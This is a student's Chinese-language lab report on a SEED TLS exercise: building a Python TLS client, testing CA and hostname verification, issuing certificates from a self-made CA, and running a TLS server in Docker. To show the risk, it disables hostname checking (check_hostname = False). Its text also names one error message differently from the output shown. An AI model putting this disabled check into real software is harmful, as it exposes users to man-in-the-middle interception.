> h=$(openssl x509 -in "$f" -noout -subject_hash)
> base=$(basename "$f")
> ln -sf "$base" "./certs/${h}.0"
> done
[06/13/26]seed@VM:~/Experiment05$ ls certs
0b9bc432.0 1a416bbd.0 4042bcee.0 8ed85ee6.0 ISRG_Root_X1.pem ISRG_Root_X2.pem Root_YE.pem YE1.pem
[06/13/26]seed@VM:~/Experiment05$
再次运行./handshake.py:
[06/13/26]seed@VM:~/Experiment05$ ./handshake.py www.vaultattic.cn
目标服务器: www.vaultattic.cn
目标端口: 443
CA 证书目录: ./certs
正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...
正在进行 TLS 握手...
TLS 握手完成。
使用的 TLS 协议版本:
TLSv1.3
客户端和服务器使用的加密套件:
('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)
加密套件说明:
加密套件名称: TLS_AES_256_GCM_SHA384
协议版本: TLSv1.3
密钥长度: 256 bit
服务器证书信息:
{'caIssuers': ('http://ye1.i.lencr.org/',),
'crlDistributionPoints': ('http://ye1.c.lencr.org/44.crl',),
'issuer': ((('countryName', 'US'),),
(('organizationName', "Let's Encrypt"),),
(('commonName', 'YE1'),)),
'notAfter': 'Sep 7 15:02:05 2026 GMT',
'notBefore': 'Jun 9 15:02:06 2026 GMT',
'serialNumber': '06379B33941856816CC8A85FE9A2A71D572B',
'subject': ((('commonName', '*.vaultattic.cn'),),),
'subjectAltName': (('DNS', '*.vaultattic.cn'),),
'version': 3}
TLS 握手已完成,按回车关闭连接...
连接已关闭。
[06/13/26]seed@VM:~/Experiment05$
成功🥰。
3.3 任务 1.c: 主机名检查
只验证证书是不是可信 CA 签发还不够,还必须验证证书是不是发给你当前访问的主机名的。
查询 www.vaultattic.cn 的 IP 地址:
dig www.vaultattic.cn
[06/16/26]seed@VM:~/Experiment05$ dig www.vaultattic.cn
; <<>> DiG 9.16.1-Ubuntu <<>> www.vaultattic.cn
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46594
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;www.vaultattic.cn. IN A
;; ANSWER SECTION:
www.vaultattic.cn. 593 IN A 124.221.143.80
;; Query time: 0 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: Tue Jun 16 08:51:10 EDT 2026
;; MSG SIZE rcvd: 62
[06/16/26]seed@VM:~/Experiment05$
找到 ANSWER SECTION 后面的输出内容,得到 www.vaultattic.cn 的 IP 地址为 124.221.143.80。
编造一个主机名,比如将 www.vaultattic2026.con 这个错误的主机名解析为 124.221.143.80:
[06/14/26]seed@VM:~/Experiment05$ sudo vim /etc/hosts
末尾添加一行:
124.221.143.80 www.vaultattic2026.cn

把之前实验中修改 handshake.py 证书目录的代码改回系统目录即将 cadir = './certs' 改回一开始的 cadir = '/etc/ssl/certs':
[06/14/26]seed@VM:~/Experiment05$ vim handshake.py
#!/usr/bin/env python3
import socket
import ssl
import sys
import pprint
hostname = sys.argv[1]
port = 443
cadir = '/etc/ssl/certs'
# 创建 TLS 客户端上下文
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
# 加载系统可信 CA 证书
context.load_verify_locations(capath=cadir)
# 要求验证服务器证书,并检查证书域名
context.verify_mode = ssl.CERT_REQUIRED
context.check_hostname = True
print("目标服务器:", hostname)
print("目标端口:", port)
print("CA 证书目录:", cadir)
# 创建 TCP socket,并连接服务器
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("\n正在建立 TCP 连接...")
sock.connect((hostname, port))
input("TCP 连接已建立,按回车开始 TLS 握手...")
# 将 TCP socket 包装成 TLS socket,但暂不自动握手
ssock = context.wrap_socket(
sock,
server_hostname=hostname,
do_handshake_on_connect=False
)
# 开始 TLS 握手
print("\n正在进行 TLS 握手...")
ssock.do_handshake()
print("TLS 握手完成。")
# 输出 TLS 版本
print("\n使用的 TLS 协议版本:")
print(ssock.version())
# 输出加密套件
print("\n客户端和服务器使用的加密套件:")
cipher = ssock.cipher()
print(cipher)
print("\n加密套件说明:")
print("加密套件名称:", cipher[0])
print("协议版本:", cipher[1])
print("密钥长度:", cipher[2], "bit")
# 输出服务器证书
print("\n服务器证书信息:")
cert = ssock.getpeercert()
pprint.pprint(cert)
input("\nTLS 握手已完成,按回车关闭连接...")
# 关闭连接
ssock.shutdown(socket.SHUT_RDWR)
ssock.close()
print("连接已关闭。")
再次运行 handshake.py 程序:
[06/16/26]seed@VM:~/Experiment05$ ./handshake.py www.vaultattic2026.cn
目标服务器: www.vaultattic2026.cn
目标端口: 443
CA 证书目录: /etc/ssl/certs
正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...
正在进行 TLS 握手...
Traceback (most recent call last):
File "./handshake.py", line 42, in <module>
ssock.do_handshake()
File "/usr/lib/python3.8/ssl.py", line 1309, in do_handshake
self._sslobj.do_handshake()
ssl.SSLError: [SSL: TLSV1_ALERT_INTERNAL_ERROR] tlsv1 alert internal error (_ssl.c:1123)
[06/16/26]seed@VM:~/Experiment05$
奇怪的是虽然报错了,但报错原因并不是因为主机名,sslv3 alert handshake failure 表示直接拒绝了握手,后来查询发现是由于 SNI 的问题。
SNI(Server Name Indication,服务器名称指示) 它是 TLS 握手里的一个扩展字段。客户端在 TLS 握手开始时,会在 ClientHello 消息中通过 SNI 告诉服务器自己想访问哪个域名,比如上面在建立链接时就会告诉服务器我想访问的是 www.vaultattic2026.cn。
现在网站都是多个域名共享同一个 IP,如果没有 SNI,客户端连接到某个 IP 后,服务器并不知道客户端到底想访问哪个网站,也就不知道应该返回哪一张证书。
这次实验失败就是因为 SNI。虽然把 www.vaultattic2026.cn 指向了 www.vaultattic.cn 的 IP,但是 www.vaultattic.cn 的服务器还是会根据客户端发送的 SNI 来判断应该使用哪个网站的证书。
所以当 www.vaultattic.cn 服务器收到 SNI = www.vaultattic2026.cn 时,它发现自己没有这个域名的 TLS 配置,所以在发送证书之前就终止了握手。因此程序报错:sslv3 alert handshake failure。
而任务书中给出的例子能成功,是因为 www.example.com 并没有 SNI 验证,哪怕使用了错误的主机名也会返回 www.example.com 的证书,这样当 check_hostname=False 时,因为不检查主机名,所以连接成功。
实际上现在
www.example.com这个域名现在也添加了 SNI 验证了,这个任务书年份都是 2020 年的了,所以如果尝试使用任务书中的例子也依旧会失败。任务书里写的
www.example.com的 IP 是93.184.216.34但你使用dig www.example.com会发现 IP 不是这个,我查了一下,www.example.com这个网站现在挂到了 Cloudflare 上,应该是易主过了。
如果要成功完成这个实验,我找了一个专门用于 TLS 测试的网站:wrong.host.badssl.com。
wrong.host.badssl.com 会返回一个由可信 CA 签发、但主机名不匹配的证书。
所以直接对这个网站执行 handshake.py:
./handshake.py wrong.host.badssl.com
[06/14/26]seed@VM:~/Experiment05$ ./handshake.py wrong.host.badssl.com
目标服务器: wrong.host.badssl.com
目标端口: 443
CA 证书目录: /etc/ssl/certs
正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...
正在进行 TLS 握手...
Traceback (most recent call last):
File "./handshake.py", line 42, in <module>
ssock.do_handshake()
File "/usr/lib/python3.8/ssl.py", line 1309, in do_handshake
self._sslobj.do_handshake()
ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: Hostname mismatch, certificate is not valid for 'wrong.host.badssl.com'. (_ssl.c:1123)
[06/14/26]seed@VM:~/Experiment05$
报错 Hostname mismatch, certificate is not valid for 'wrong.host.badssl.com' 表示主机名错误,符合预期。
现在修改 handshake.py,将主机名验证 context.check_hostname = True 字段改为 False。
[06/14/26]seed@VM:~/Experiment05$ vim handshake.py
#!/usr/bin/env python3
import socket
import ssl
import sys
import pprint
hostname = sys.argv[1]
port = 443
cadir = '/etc/ssl/certs'
# 创建 TLS 客户端上下文
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
# 加载系统可信 CA 证书
context.load_verify_locations(capath=cadir)
# 要求验证服务器证书,并检查证书域名
context.verify_mode = ssl.CERT_REQUIRED
context.check_hostname = False
print("目标服务器:", hostname)
print("目标端口:", port)
print("CA 证书目录:", cadir)
# 创建 TCP socket,并连接服务器
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("\n正在建立 TCP 连接...")
sock.connect((hostname, port))
input("TCP 连接已建立,按回车开始 TLS 握手...")
# 将 TCP socket 包装成 TLS socket,但暂不自动握手
ssock = context.wrap_socket(
sock,
server_hostname=hostname,
do_handshake_on_connect=False
)
# 开始 TLS 握手
print("\n正在进行 TLS 握手...")
ssock.do_handshake()
print("TLS 握手完成。")
# 输出 TLS 版本
print("\n使用的 TLS 协议版本:")
print(ssock.version())
# 输出加密套件
print("\n客户端和服务器使用的加密套件:")
cipher = ssock.cipher()
print(cipher)
print("\n加密套件说明:")
print("加密套件名称:", cipher[0])
print("协议版本:", cipher[1])
print("密钥长度:", cipher[2], "bit")
# 输出服务器证书
print("\n服务器证书信息:")
cert = ssock.getpeercert()
pprint.pprint(cert)
input("\nTLS 握手已完成,按回车关闭连接...")
# 关闭连接
ssock.shutdown(socket.SHUT_RDWR)
ssock.close()
print("连接已关闭。")
再次运行 handshake.py:
[06/14/26]seed@VM:~/Experiment05$ ./handshake.py wrong.host.badssl.com
目标服务器: wrong.host.badssl.com
目标端口: 443
CA 证书目录: /etc/ssl/certs
正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...
正在进行 TLS 握手...
TLS 握手完成。
使用的 TLS 协议版本:
TLSv1.2
客户端和服务器使用的加密套件:
('ECDHE-RSA-AES128-GCM-SHA256', 'TLSv1.2', 128)
加密套件说明:
加密套件名称: ECDHE-RSA-AES128-GCM-SHA256
协议版本: TLSv1.2
密钥长度: 128 bit
服务器证书信息:
{'caIssuers': ('http://r13.i.lencr.org/',),
'crlDistributionPoints': ('http://r13.c.lencr.org/52.crl',),
'issuer': ((('countryName', 'US'),),
(('organizationName', "Let's Encrypt"),),
(('commonName', 'R13'),)),
'notAfter': 'Aug 24 20:02:49 2026 GMT',
'notBefore': 'May 26 20:02:50 2026 GMT',
'serialNumber': '0533DC28B318A1E111898DF9309AFBED3633',
'subject': ((('commonName', '*.badssl.com'),),),
'subjectAltName': (('DNS', '*.badssl.com'), ('DNS', 'badssl.com')),
'version': 3}
TLS 握手已完成,按回车关闭连接...
连接已关闭。
[06/14/26]seed@VM:~/Experiment05$
成功运行😋。
主机名检查的重要性
如果客户端不进行主机名检查,那么只要服务器提供的证书是由可信 CA 签发的,客户端就可能接受该证书,即使证书中的域名并不是客户端真正想访问的域名。
这样会带来严重的安全风险。例如攻击者可以通过 DNS 欺骗、修改 hosts 文件或中间人攻击等方式,将用户访问的域名重定向到另一个服务器。如果客户端关闭主机名检查,而该服务器拥有一个合法证书,客户端就可能误以为连接是安全的,从而把账号、密码、Cookie 或其他敏感信息发送给错误的服务器。
3.4 任务 1.d: 发送和接收数据
在 handshake.py 加入发送和接收 HTTP 数据的代码:
[06/14/26]seed@VM:~/Experiment05$ vim handshake.py
#!/usr/bin/env python3
import socket
import ssl
import sys
import pprint
hostname = sys.argv[1]
port = 443
cadir = '/etc/ssl/certs'
# 创建 TLS 客户端上下文
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
# 加载系统可信 CA 证书
context.load_verify_locations(capath=cadir)
# 要求验证服务器证书,并检查证书域名
context.verify_mode = ssl.CERT_REQUIRED
context.check_hostname = True
print("目标服务器:", hostname)
print("目标端口:", port)
print("CA 证书目录:", cadir)
# 创建 TCP socket,并连接服务器
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("\n正在建立 TCP 连接...")
sock.connect((hostname, port))
input("TCP 连接已建立,按回车开始 TLS 握手...")
# 将 TCP socket 包装成 TLS socket
ssock = context.wrap_socket(
sock,
server_hostname=hostname,
do_handshake_on_connect=False
)
# 开始 TLS 握手
print("\n正在进行 TLS 握手...")
ssock.do_handshake()
print("TLS 握手完成。")
# 输出 TLS 版本
print("\n使用的 TLS 协议版本:")
print(ssock.version())
# 输出加密套件
print("\n客户端和服务器使用的加密套件:")
cipher = ssock.cipher()
print(cipher)
# 输出服务器证书
print("\n服务器证书信息:")
cert = ssock.getpeercert()
pprint.pprint(cert)
input("\n准备发送 HTTP 请求,按回车继续...")
# 构造 HTTP 请求
request = (
b"GET / HTTP/1.0\r\n" +
b"Host: " + hostname.encode("utf-8") + b"\r\n" +
b"\r\n"
)
print("\n发送的 HTTP 请求为:")
print(request.decode())
# 通过 TLS 连接发送 HTTP 请求
ssock.sendall(request)
print("HTTP 请求已发送,正在接收服务器响应...\n")
# 接收服务器响应
response = ssock.recv(2048)
while response:
pprint.pprint(response.split(b"\r\n"))
response = ssock.recv(2048)
print("\n服务器响应接收完毕。")
# 关闭 TLS 连接
ssock.shutdown(socket.SHUT_RDWR)
ssock.close()
print("连接已关闭。")
运行 handshake.py:
[06/14/26]seed@VM:~/Experiment05$ ./handshake.py wrong.host.badssl.com
目标服务器: wrong.host.badssl.com
目标端口: 443
CA 证书目录: /etc/ssl/certs
正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...
正在进行 TLS 握手...
TLS 握手完成。
使用的 TLS 协议版本:
TLSv1.2
客户端和服务器使用的加密套件:
('ECDHE-RSA-AES128-GCM-SHA256', 'TLSv1.2', 128)
加密套件说明:
加密套件名称: ECDHE-RSA-AES128-GCM-SHA256
协议版本: TLSv1.2
密钥长度: 128 bit
服务器证书信息:
{'caIssuers': ('http://r13.i.lencr.org/',),
'crlDistributionPoints': ('http://r13.c.lencr.org/52.crl',),
'issuer': ((('countryName', 'US'),),
(('organizationName', "Let's Encrypt"),),
(('commonName', 'R13'),)),
'notAfter': 'Aug 24 20:02:49 2026 GMT',
'notBefore': 'May 26 20:02:50 2026 GMT',
'serialNumber': '0533DC28B318A1E111898DF9309AFBED3633',
'subject': ((('commonName', '*.badssl.com'),),),
'subjectAltName': (('DNS', '*.badssl.com'), ('DNS', 'badssl.com')),
'version': 3}
TLS 握手已完成,按回车关闭连接...
连接已关闭。
[06/14/26]seed@VM:~/Experiment05$ ./handshake.py www.vaultattic.cn
目标服务器: www.vaultattic.cn
目标端口: 443
CA 证书目录: /etc/ssl/certs
正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...
正在进行 TLS 握手...
TLS 握手完成。
使用的 TLS 协议版本:
TLSv1.3
客户端和服务器使用的加密套件:
('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)
服务器证书信息:
{'caIssuers': ('http://ye1.i.lencr.org/',),
'crlDistributionPoints': ('http://ye1.c.lencr.org/44.crl',),
'issuer': ((('countryName', 'US'),),
(('organizationName', "Let's Encrypt"),),
(('commonName', 'YE1'),)),
'notAfter': 'Sep 7 15:02:05 2026 GMT',
'notBefore': 'Jun 9 15:02:06 2026 GMT',
'serialNumber': '06379B33941856816CC8A85FE9A2A71D572B',
'subject': ((('commonName', '*.vaultattic.cn'),),),
'subjectAltName': (('DNS', '*.vaultattic.cn'),),
'version': 3}
准备发送 HTTP 请求,按回车继续...
发送的 HTTP 请求为:
GET / HTTP/1.0
Host: www.vaultattic.cn
HTTP 请求已发送,正在接收服务器响应...
......
服务器响应接收完毕。
连接已关闭。
[06/14/26]seed@VM:~/Experiment05$
4 任务 2: TLS服务器
4.1 任务 2.a: 实现一个简单的 TLS 服务器
服务器部署在 server-10.9.0.43 容器中,在客户端容器 client-10.9.0.5 中访问,域名为 vaultattic2026.cn,/home/seed/Experiment05/Labsetup/volumes 为容器的共享文件夹。
[06/14/26]seed@VM:~/Experiment05$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
75c146f25aac handsonsecurity/seed-ubuntu:medium "/bin/sh -c /bin/bash" 7 days ago Up 7 days server-10.9.0.43
f17aa82577d1 handsonsecurity/seed-ubuntu:medium "/bin/sh -c /bin/bash" 7 days ago Up 7 days mitm-proxy-10.9.0.143
56ad16f374cd handsonsecurity/seed-ubuntu:medium "/bin/sh -c /bin/bash" 7 days ago Up 7 days client-10.9.0.5
[06/14/26]seed@VM:~/Experiment05$ cd Labsetup/volumes/
[06/14/26]seed@VM:~/.../volumes$
将验证程序 handshake.py 放到共享目录中:
[06/14/26]seed@VM:~/.../volumes$ cp ~/Experiment05/handshake.py .
[06/14/26]seed@VM:~/.../volumes$
创建 CA 私钥和自签名证书:
openssl req -x509 -newkey rsa:2048 -sha256 -days 3650 \
-keyout client-certs/ca.key \
-out client-certs/ca.crt \
-subj "/C=US/ST=NewYork/L=Syracuse/O=SEEDLab/CN=Vaultattic Test CA" \
-nodes
[06/14/26]seed@VM:~/.../volumes$ openssl req -x509 -newkey rsa:2048 -sha256 -days 3650 \
> -keyout client-certs/ca.key \
> -out client-certs/ca.crt \
> -subj "/C=US/ST=NewYork/L=Syracuse/O=SEEDLab/CN=Vaultattic Test CA" \
> -nodes
Generating a RSA private key
......................................................................................................................................................................................................................................................................................+++++
........................+++++
writing new private key to 'client-certs/ca.key'
-----
[06/14/26]seed@VM:~/.../volumes$ ls client-certs/
ca.crt ca.key README.md
[06/14/26]seed@VM:~/.../volumes$
ca.key:CA 私钥ca.crt:CA 公钥证书
创建服务器证书配置文件:
[06/14/26]seed@VM:~/.../volumes$ vim server_openssl.cnf
[req]
prompt = no
distinguished_name = req_distinguished_name
req_extensions = req_ext
[req_distinguished_name]
C = US
ST = NewYork
L = Syracuse
O = SEEDLab
CN = vaultattic2026.cn
[req_ext]
subjectAltName = @alt_names
[alt_names]
DNS.1 = vaultattic2026.cn
生成服务器私钥和证书签名请求:
openssl req -newkey rsa:2048 \
-config ./server_openssl.cnf \
-batch \
-sha256 \
-keyout server-certs/server.key \
-out server-certs/server.csr \
-nodes
[06/14/26]seed@VM:~/.../volumes$ openssl req -newkey rsa:2048 \
> -config ./server_openssl.cnf \
> -batch \
> -sha256 \
> -keyout server-certs/server.key \
> -out server-certs/server.csr \
> -nodes
Generating a RSA private key
.................................................................................+++++
........................................................................+++++
writing new private key to 'server-certs/server.key'
-----
[06/14/26]seed@VM:~/.../volumes$ ls server-certs/
README.md server.csr server.key
[06/14/26]seed@VM:~/.../volumes$
使用自建 CA 签发服务器证书:
openssl x509 -req \
-in server-certs/server.csr \
-CA client-certs/ca.crt \
-CAkey client-certs/ca.key \
-CAcreateserial \
-out server-certs/server.crt \
-days 3650 \
-sha256 \
-extensions req_ext \
-extfile server_openssl.cnf
[06/14/26]seed@VM:~/.../volumes$ openssl x509 -req \
> -in server-certs/server.csr \
> -CA client-certs/ca.crt \
> -CAkey client-certs/ca.key \
> -CAcreateserial \
> -out server-certs/server.crt \
> -days 3650 \
> -sha256 \
> -extensions req_ext \
> -extfile server_openssl.cnf
Signature ok
subject=C = US, ST = NewYork, L = Syracuse, O = SEEDLab, CN = vaultattic2026.cn
Getting CA Private Key
[06/14/26]seed@VM:~/.../volumes$
修改 server.py:
[06/14/26]seed@VM:~/.../volumes$ vim server.py
#!/usr/bin/env python3
import socket
import ssl
html = """HTTP/1.1 200 OK\r
Content-Type: text/html\r
\r
<html>
<body>
<h1>Hello, world!</h1>
<p>This is vaultattic2026.cn TLS server.</p>
</body>
</html>
"""
SERVER_CERT = './server-certs/server.crt'
SERVER_PRIVATE = './server-certs/server.key'
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(SERVER_CERT, SERVER_PRIVATE)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.bind(('0.0.0.0', 443))
sock.listen(5)
print("TLS 服务器已启动,监听 443 端口...")
while True:
newsock, fromaddr = sock.accept()
print("收到连接:", fromaddr)
try:
ssock = context.wrap_socket(newsock, server_side=True)
data = ssock.recv(1024)
print("收到客户端请求:")
print(data.decode(errors="ignore"))
ssock.sendall(html.encode('utf-8'))
ssock.shutdown(socket.SHUT_RDWR)
ssock.close()
except Exception as e:
print("发生错误:", e)
使用 docker exec -it server-10.9.0.43 /bin/bash 进入 server-10.9.0.43 容器:
[06/14/26]seed@VM:~/.../volumes$ docker exec -it server-10.9.0.43 /bin/bash
root@75c146f25aac:/#
进入共享目录:
root@75c146f25aac:/# cd volumes/
root@75c146f25aac:/volumes#
使用 server.py 运行服务器:
root@75c146f25aac:/volumes# ./server.py
TLS 服务器已启动,监听 443 端口...
新建终端,使用 docker exec -it client-10.9.0.5 /bin/bash 进入客户端容器 client-10.9.0.5:
[06/14/26]seed@VM:~/.../volumes$ docker exec -it client-10.9.0.5 /bin/bash
root@ccbd21aa15ba:/#
使用 echo "10.9.0.43 vaultattic2026.cn" >> /etc/hosts 将服务器域名解析写入 /etc/hosts 文件中:
root@ccbd21aa15ba:/# echo "10.9.0.43 vaultattic2026.cn" >> /etc/hosts
root@ccbd21aa15ba:/#
运行 handshake.py,进行测试:
root@ccbd21aa15ba:/# cd volumes/
root@ccbd21aa15ba:/volumes# ./handshake.py vaultattic2026.cn
目标服务器: vaultattic2026.cn
目标端口: 443
CA 证书目录: /etc/ssl/certs
正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...
正在进行 TLS 握手...
Traceback (most recent call last):
File "./handshake.py", line 42, in <module>
ssock.do_handshake()
File "/usr/lib/python3.8/ssl.py", line 1309, in do_handshake
self._sslobj.do_handshake()
ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1123)
root@ccbd21aa15ba:/volumes#
报错是因为服务器证书是由实验中自建 CA 签发的,而该 CA 不在系统默认可信 CA 目录 /etc/ssl/certs 中,所以客户端无法验证服务器证书。
返回虚拟机终端,修改 handshake.py 将 cadir = '/etc/ssl/certs' 改为 cadir = './client-certs':
[06/14/26]seed@VM:~/.../volumes$ vim handshake.py
#!/usr/bin/env python3
import socket
import ssl
import sys
import pprint
hostname = sys.argv[1]
port = 443
cadir = './client-certs'
# 创建 TLS 客户端上下文
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
# 加载系统可信 CA 证书
context.load_verify_locations(capath=cadir)
# 要求验证服务器证书,并检查证书域名
context.verify_mode = ssl.CERT_REQUIRED
context.check_hostname = True
print("目标服务器:", hostname)
print("目标端口:", port)
print("CA 证书目录:", cadir)
# 创建 TCP socket,并连接服务器
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("\n正在建立 TCP 连接...")
sock.connect((hostname, port))
input("TCP 连接已建立,按回车开始 TLS 握手...")
# 将 TCP socket 包装成 TLS socket
ssock = context.wrap_socket(
sock,
server_hostname=hostname,
do_handshake_on_connect=False
)
# 开始 TLS 握手
print("\n正在进行 TLS 握手...")
ssock.do_handshake()
print("TLS 握手完成。")
# 输出 TLS 版本
print("\n使用的 TLS 协议版本:")
print(ssock.version())
# 输出加密套件
print("\n客户端和服务器使用的加密套件:")
cipher = ssock.cipher()
print(cipher)
# 输出服务器证书
print("\n服务器证书信息:")
cert = ssock.getpeercert()
pprint.pprint(cert)
input("\n准备发送 HTTP 请求,按回车继续...")
# 构造 HTTP 请求
request = (
b"GET / HTTP/1.0\r\n" +
b"Host: " + hostname.encode("utf-8") + b"\r\n" +
b"\r\n"
)
print("\n发送的 HTTP 请求为:")
print(request.decode())
# 通过 TLS 连接发送 HTTP 请求
ssock.sendall(request)
print("HTTP 请求已发送,正在接收服务器响应...\n")
# 接收服务器响应
response = ssock.recv(2048)
while response:
pprint.pprint(response.split(b"\r\n"))
response = ssock.recv(2048)
print("\n服务器响应接收完毕。")
# 关闭 TLS 连接
ssock.shutdown(socket.SHUT_RDWR)
ssock.close()
print("连接已关闭。")
为 CA 证书创建哈希符号链接:
hash=$(openssl x509 -in ./client-certs/ca.crt -noout -subject_hash)
ln -sf ca.crt ./client-certs/${hash}.0
[06/14/26]seed@VM:~/.../volumes$ hash=$(openssl x509 -in ./client-certs/ca.crt -noout -subject_hash)
[06/14/26]seed@VM:~/.../volumes$ ln -sf ca.crt ./client-certs/${hash}.0
[06/14/26]seed@VM:~/.../volumes$ ls client-certs/
8e95b653.0 ca.crt ca.key ca.srl README.md
[06/14/26]seed@VM:~/.../volumes$
返回客户端容器终端,再次运行脚本:
root@ccbd21aa15ba:/volumes# ./handshake.py vaultattic2026.cn
目标服务器: vaultattic2026.cn
目标端口: 443
CA 证书目录: ./client-certs
正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...
正在进行 TLS 握手...
TLS 握手完成。
使用的 TLS 协议版本:
TLSv1.3
客户端和服务器使用的加密套件:
('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)
服务器证书信息:
{'issuer': ((('countryName', 'US'),),
(('stateOrProvinceName', 'NewYork'),),
(('localityName', 'Syracuse'),),
(('organizationName', 'SEEDLab'),),
(('commonName', 'Vaultattic Test CA'),)),
'notAfter': 'Jun 11 13:31:39 2036 GMT',
'notBefore': 'Jun 14 13:31:39 2026 GMT',
'serialNumber': '4B7FA0768F38E6D5E7A1D0A7823767726DAB72E9',
'subject': ((('countryName', 'US'),),
(('stateOrProvinceName', 'NewYork'),),
(('localityName', 'Syracuse'),),
(('organizationName', 'SEEDLab'),),
(('commonName', 'vaultattic2026.cn'),)),
'subjectAltName': (('DNS', 'vaultattic2026.cn'),),
'version': 3}
准备发送 HTTP 请求,按回车继续...
发送的 HTTP 请求为:
GET / HTTP/1.0
Host: vaultattic2026.cn
HTTP 请求已发送,正在接收服务器响应...
[b'HTTP/1.1 200 OK',
b'Content-Type: text/html',
b'',
b'<html>\n<body>\n<h1>Hello, world!</h1>\n<p>This is vaultattic2026.cn TLS se'
b'rver.</p>\n</body>\n</html>\n']
服务器响应接收完毕。
连接已关闭。
root@ccbd21aa15ba:/volumes#
运行成功。
4.2 任务 2.b: 使用浏览器测试服务器程序
返回虚拟机终端,编辑 /etc/hosts 文件,添加 vaultattic2026.cn 的域名解析。
[06/16/26]seed@VM:~/Experiment05$ sudo vim /etc/hosts

使用 VM 虚拟机的图形化页面,在 Firefox 浏览器中访问 vaultattic2026.cn。

提示站点不安全。这是因为服务器证书由实验中自建 CA 签发,而 Firefox 默认不信任这个 CA。
下面将自建 CA 导入 Firefox。
在 Firefox 地址栏输入:
about:preferences#privacy
点击 View Certificates。

选择 Authorities,点击 Import。

将自建 CA /home/seed/Experiment05/Labsetup/volumes/client-certs/ca.crt 导入,勾选 Trust this CA to identify websites。

再次在 Firefox 浏览器中访问 vaultattic2026.cn。

访问成功。
4.3 任务 2.c: 有多个名字的证书
下面生成一张支持多个主机名的服务器证书。
将支持的域名设置为:
vaultattic2026.cn
www.vaultattic2026.cn
test.vaultattic2026.cn
*.bank32.com
修改 server_openssl.cnf:
[06/16/26]seed@VM:~/.../volumes$ vim server_openssl.cnf
[req]
prompt = no
distinguished_name = req_distinguished_name
req_extensions = req_ext
[req_distinguished_name]
C = US
ST = NewYork
L = Syracuse
O = SEEDLab
CN = vaultattic2026.cn
[req_ext]
subjectAltName = @alt_names
[alt_names]
DNS.1 = vaultattic2026.cn
DNS.2 = www.vaultattic2026.cn
DNS.3 = test.vaultattic2026.cn
DNS.4 = *.bank32.com
重新生成服务器私钥和 CSR:
openssl req -newkey rsa:2048 \
-config ./server_openssl.cnf \
-batch \
-sha256 \
-keyout server-certs/server.key \
-out server-certs/server.csr \
-nodes
[06/16/26]seed@VM:~/.../volumes$ openssl req -newkey rsa:2048 \
> -config ./server_openssl.cnf \
> -batch \
> -sha256 \
> -keyout server-certs/server.key \
> -out server-certs/server.csr \
> -nodes
Generating a RSA private key
.+++++
...................+++++
writing new private key to 'server-certs/server.key'
-----
[06/16/26]seed@VM:~/.../volumes$
重新签发服务器证书:
openssl x509 -req \
-in server-certs/server.csr \
-CA client-certs/ca.crt \
-CAkey client-certs/ca.key \
-CAcreateserial \
-out server-certs/server.crt \
-days 3650 \
-sha256 \
-extensions req_ext \
-extfile server_openssl.cnf
[06/16/26]seed@VM:~/.../volumes$ openssl x509 -req \
> -in server-certs/server.csr \
> -CA client-certs/ca.crt \
> -CAkey client-certs/ca.key \
> -CAcreateserial \
> -out server-certs/server.crt \
> -days 3650 \
> -sha256 \
> -extensions req_ext \
> -extfile server_openssl.cnf
Signature ok
subject=C = US, ST = NewYork, L = Syracuse, O = SEEDLab, CN = vaultattic2026.cn
Getting CA Private Key
[06/16/26]seed@VM:~/.../volumes$
配置多个域名解析:
sudo sh -c 'echo "10.9.0.43 www.vaultattic2026.cn" >> /etc/hosts'
sudo sh -c 'echo "10.9.0.43 test.vaultattic2026.cn" >> /etc/hosts'
sudo sh -c 'echo "10.9.0.43 abc.bank32.com" >> /etc/hosts'
[06/16/26]seed@VM:~/.../volumes$ sudo sh -c 'echo "10.9.0.43 www.vaultattic2026.cn" >> /etc/hosts'
[06/16/26]seed@VM:~/.../volumes$ sudo sh -c 'echo "10.9.0.43 test.vaultattic2026.cn" >> /etc/hosts'
[06/16/26]seed@VM:~/.../volumes$ sudo sh -c 'echo "10.9.0.43 abc.bank32.com" >> /etc/hosts'
[06/16/26]seed@VM:~/.../volumes$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 VM
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# For DNS Rebinding Lab
192.168.60.80 www.seedIoT32.com
# For SQL Injection Lab
10.9.0.5 www.SeedLabSQLInjection.com
# For XSS Lab
10.9.0.5 www.xsslabelgg.com
10.9.0.5 www.example32a.com
10.9.0.5 www.example32b.com
10.9.0.5 www.example32c.com
